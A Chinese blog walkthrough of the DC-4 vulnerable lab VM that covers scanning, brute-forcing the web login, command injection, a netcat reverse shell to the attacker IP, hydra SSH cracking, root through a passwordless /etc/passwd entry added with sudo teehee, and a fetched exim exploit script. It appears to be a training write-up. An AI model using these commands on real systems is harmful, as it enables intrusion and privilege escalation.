首页 > 其他分享 >DC-4靶机做题记录

DC-4靶机做题记录

时间:2024-01-19 21:48:17浏览次数:30  
标签:http 提权 记录 端口 DC 命令 靶机

靶机下载地址:

链接:https://pan.baidu.com/s/1YbPuSw_xLdkta10O9e2zGw?pwd=n6nx 
提取码:n6nx 

参考:

image.png
描述:

DESCRIPTION 说明
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-4是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
与之前的DC版本不同,这一版本主要是为初学者/中级用户设计的。只有一面旗帜,但从技术上讲,有多个入口点,就像上次一样,没有任何线索。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.

1、导入VMware虚拟机

下载完成后,得到DC-4.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

一.信息收集

基础信息查询

0x01 查看存活主机

arp-scan -l       #二层主机扫描,主动发送ARP包进行嗅探

image.png

0x02 查看开放端口 和 0x03 查看端口服务

nmap -p- 192.168.1.131 -A

# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。

image.png

目录扫描

dirb http://192.168.1.132 /usr/share/dirb/wordlists/big.txt 

image.png
没什么目录信息可用

0x04 服务器信息查询,CMS查询

image.png

页面信息探测

image.png

爆破用户密码

1. 用户登入爆破

随便输入用户名和密码,点击登入,用burpsuite抓包
然后选择Cluster bomb集束炸弹模式
image.png
image.png
payload1设置为admin
image.png
payload2设置为一个密码字典,可以上网查Top1000弱口令字典放进去常见的弱口令字典1000~一石三鸟-CSDN博客
image.png
开始攻击,密码为happy
image.png
image.png
登录成功
image.png
这里有几个命令
image.png
我们可以通过抓包来进行修改它要执行的命令
image.png

发现任意命令执行漏洞

改为 id 发现可以成功执行
image.png
那么我们可以来进行反弹shell

反弹shell

先在kali上监听8888端口

nc -lvvnp 8888

nc -lvvnp 8888命令是使用netcat工具来监听网络连接并侦听指定的端口。

  • -l选项表示netcat将进入监听模式。
  • -v选项用于显示详细的调试信息。
  • -n选项用于禁止DNS解析,以避免延迟。
  • -p选项后跟要监听的端口号。

执行该命令后,netcat会开始在指定的端口上进行监听,并显示从客户端发送过来的连接和相关信息。

listening on [any] 8888 ...

您可以使用这个命令来创建一个简单的反向shell或测试网络连接等。


然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上

nc -e /bin/bash 192.168.1.128 8888

image.png
image.png
反弹shell成功,接着升级为交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

image.png
接下来就是提权了,然后找flag了

提权

在home目录下发现三个用户

  • charles
  • jim
  • sam

image.png
在/home/jim/backups目录下发现一个旧密码本
image.png
复制出来保存为1.txt

有用户名了,使用工具爆破密码:
使用hydra工具:

Hydra 是一款强大的网络登录破解工具,可用于暴力破解各种网络服务的用户名和密码。它支持多种协议和服务,包括常见的 SSH、FTP、Telnet、SMTP、POP3、IMAP 等。在 Kali Linux 中,Hydra 已经预装并且准备好供使用。

以下是 Hydra 的基本用法示例:

hydra -l <用户名> -P <密码列表文件> <目标IP地址> <协议> -s <端口号> -t <线程数>

其中:

  • <用户名>:要破解的用户名,可以使用单个用户名或者使用用户名列表文件。
  • <密码列表文件>:包含要尝试的密码的文件路径。
  • <目标IP地址>:要破解的目标主机的 IP 地址。
  • <协议>:要破解的服务的协议类型,如 ssh、ftp、telnet 等。
  • <端口号>:目标服务的端口号,默认为协议的默认端口号。
  • <线程数>:用于并发尝试的线程数,默认为 16。

要使用 Hydra 进行 SSH 登录破解,可以执行以下命令:
对 jim 的账号进行破解

hydra -l jim -P 1.txt 192.168.1.132 ssh

image.png
获得密码jibril04
那么接下来进行 ssh 登录 jim 的账号
image.png
登录成功
提示你有一封邮件
image.png
是root发来的
image.png
用 find 命令查找 mail

find / -name *mail*       # 这条命令表示从根目录开始,查到前和后带有mail的目录

image.png
发现了/var/mail目录,进去看看
image.png
Charles要去度假,所以把密码发给了jim
image.png
那我们尝试登录Charles的账号,成功登录
image.png
sudo -l命令用于列出当前用户可以以超级用户权限运行的命令。
image.png
发现teehee命令
它是一个自定义的命令,那我们执行看看

teehee --help

image.png
-a参数 说可以不覆盖文件的形式追加内容
在文末添加,但是不是覆盖文件(teehee运行时有root权限,则可以由此修改passwd文件)

添加新用户到/etc/passwd中

参考/etc/passwd文件解刨
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
##建议手打命令,复制粘贴可能不管用

对于admin::0:0:::/bin/bash的解释

[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

我们创建了一个admin用户,没有设置密码
添加成功之后就切换为admin用户
image.png
在root目录下发现flag文件

flag

image.png

方法二:

SUID

其中 exim4 可以提权


该命令用于在整个文件系统中搜索具有设置了 setuid 位的可执行文件,并将结果输出。

  • find 是一个用于在指定路径下搜索文件和目录的命令。
  • / 表示从根目录开始搜索,也就是整个文件系统。
  • -perm -4000 表示查找具有设置了 setuid 位(权限为 4000)的文件。setuid 位允许普通用户以拥有者的权限来执行该文件。
  • -print 选项用于打印找到的文件的完整路径。
  • 2>/dev/null 将错误输出重定向到 /dev/null,这样可以屏蔽一些不必要的错误信息。

当命令执行完成后,它将返回所有具有设置了 setuid 位的可执行文件的完整路径列表。


find / -perm -4000 2>/dev/null

find / -perm -4000 -print 2>/dev/null

image.png
exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权
先看一下 exim的版本

exim4 --version

image.png
确定版本,接着查找漏洞

searchsploit exim 4

image.png
选择对应版本的提权(Privilege Escalation)漏洞,完整path
/usr/share/exploitdb/exploits/linux/local/46996.sh
把这个脚本复制出来
image.png
使用python打开http服务 映射本地文件 python -m http.server


python -m http.server 是一个用于启动简单的HTTP服务器的命令。
执行该命令后,它将在当前目录下启动一个基于Python的HTTP服务器,默认监听端口为8000。这个HTTP服务器可以被用于快速共享文件、浏览静态网页或进行简单的文件传输等任务。
示例输出可能如下所示:

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

此时,您可以通过浏览器或其他HTTP客户端访问 http://localhost:8000 来浏览当前目录中的文件。如果希望使用不同的端口号,可以在命令中使用 -p 参数指定,例如 python -m http.server 8080 将使用8080端口。
请注意,这个简单的HTTP服务器通常用于开发和调试目的,并不适合在生产环境中使用。对于公开访问的网络服务,请考虑使用更安全和功能丰富的HTTP服务器软件。


出现这个页面就说明开启HTTP服务成功了
image.png
在靶机中切换到/tmp目录中,因为在这个目录可用加权限,使用wget命令下载并开启bash终端

wget http://192.168.1.128:8000/46996.sh | bash

image.png
然后给46996.sh权限 并且运行这个脚本

chmod +x ./46996.sh

点(.)在Linux中表示运行,./ 表示当前目录,紧接着是要运行的脚本文件名

./46996.sh 

image.png
image.png

总结

1、在真实的环境中,信息收集环境不能少,在收集越多的信息,对于后面的提权或者打进去非常有用。
2、针对提权,在一个靶机中可能存在多种的提权方式,关键就在于信息收集,当我们收集的信息,满足一些提权条件的时候就可以使用。
3、在普通的情况下,kail自带的字典就已经够用,如果跑全部跑完了,就可以放弃暴力破解,得使用其他方式了,当然也可以在加自己根据信息收集阶段中生成 社工字典。
4、此靶机考察了对hydra的掌握以及对命令执行漏洞的利用,考虑到nc 的提权方式(正反提权)考察对用户操作的了解

完毕!

标签:http,提权,记录,端口,DC,命令,靶机
From: https://www.cnblogs.com/Fab1an/p/17975691

相关文章

  • 利用topologySpreadConstraints使多个Pod在节点之间均衡调度
    在ingress-nginx部署时有个需求,就是3个节点单个节点需要至少跑3个实例。这需求有点像异地多活时,每个区域至少要跑2实例一样,不同之处是一个是节点级别,一个是区域级别。deployment在副本数多的时候虽然可以让调度器大致上的平均调度,但是当遇到个别节点压力大的时候会降低调度score......
  • 利用topologySpreadConstraints使多个Pod在节点之间均衡调度
    在ingress-nginx部署时有个需求,就是3个节点单个节点需要至少跑3个实例。这需求有点像异地多活时,每个区域至少要跑2实例一样,不同之处是一个是节点级别,一个是区域级别。deployment在副本数多的时候虽然可以让调度器大致上的平均调度,但是当遇到个别节点压力大的时候会降低调度score......
  • Avalonia TemplatedControl (模板控件)
    在ava中的模板控件相当于wpf中的自定义控件在下面示例中,将绘制一个文本框和一个按钮,用来组合一个搜索控件在app.axaml中加入样式<Application.Styles><FluentTheme/><StyleIncludeSource="/TemplatedControl1.axaml"/></Application.Styles>引入并使用xmlns......
  • 记录--前端实现翻转图像
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助翻转图像是在视觉上比较两个不同图像的常用方法。单击其中一个将翻转它,并显示另一个图像。布局布局结构如下:<divclass="flipping-images"><divclass="flipping-images__inner"><divclass="flip......
  • 假期学习记录04
    学习了Scala语言的面向对象方面的知识类的定义classCounter{privatevarvalue=0defincrement():Unit={value+=1}defcurrent():Int={value}}若只有一行语句,可以写成classCounter{privatevarvalue=0defincrem......
  • 假期学习记录03
    继续学习了scala语言数据结构:容器列表LIst不可变对象序列,一旦进行初始化,后不可以在被修改进行初始化在已有列表前端添加元素,通过::进行实现需要注意的是。这不会进行修改操作,而是直接生成了另一个List集合不重复元素的集合,包括可变集合和不可变集合若进行导包,导入muta......
  • 【测试自动化覆盖率】记录统计自动化的工具testrail 如何实现自动统计覆盖率
        点击编辑来到这个页面 点击自己想要统计的testplan里面的用例选择selectcases   先选择右边的过滤所有Automated 为yes的tag,然后在底下点击确定 在左边呈现的就是出现的  取消不要的用例  ......
  • DC-3靶机做题记录
    靶机下载地址:链接:https://pan.baidu.com/s/1-P5ezyt5hUbmmGMP4EI7kw?pwd=rt2c提取码:rt2c参考:http://t.csdnimg.cn/hhPi8https://www.vulnhub.com/entry/dc-32,312/官网http://t.csdnimg.cn/5mVZ7DC-3(1).pdfhttps://c3ting.com/archives/vulnhnbshua-ti---dc-3......
  • BOSHIDA DC电源模块的工作原理及特点
    BOSHIDADC电源模块的工作原理及特点DC电源模块是一种将交流电转换为直流电的电子设备。它通常由交流电输入部分、整流滤波部分和稳压输出部分组成。下面是其工作原理及特点的详细解释: 工作原理:1.交流电输入部分:将交流电输入到电源模块,通常通过变压器将高压的交流电转换为低......
  • 低功耗DC-DC电源模块的精细化PCB设计
    在电子设备中,电源模块是核心组件,将输入直流电压转为设备所需的各种直流电压。DC-DC电源转换器,特别是基于开关方式的转换器,因其高效、小体积和轻重量等优点被广泛应用。但设计优秀的DC-DC电源转换器并不容易。布局、电磁兼容性、电流和散热管理等方面均需深思熟虑和精细调整。 ......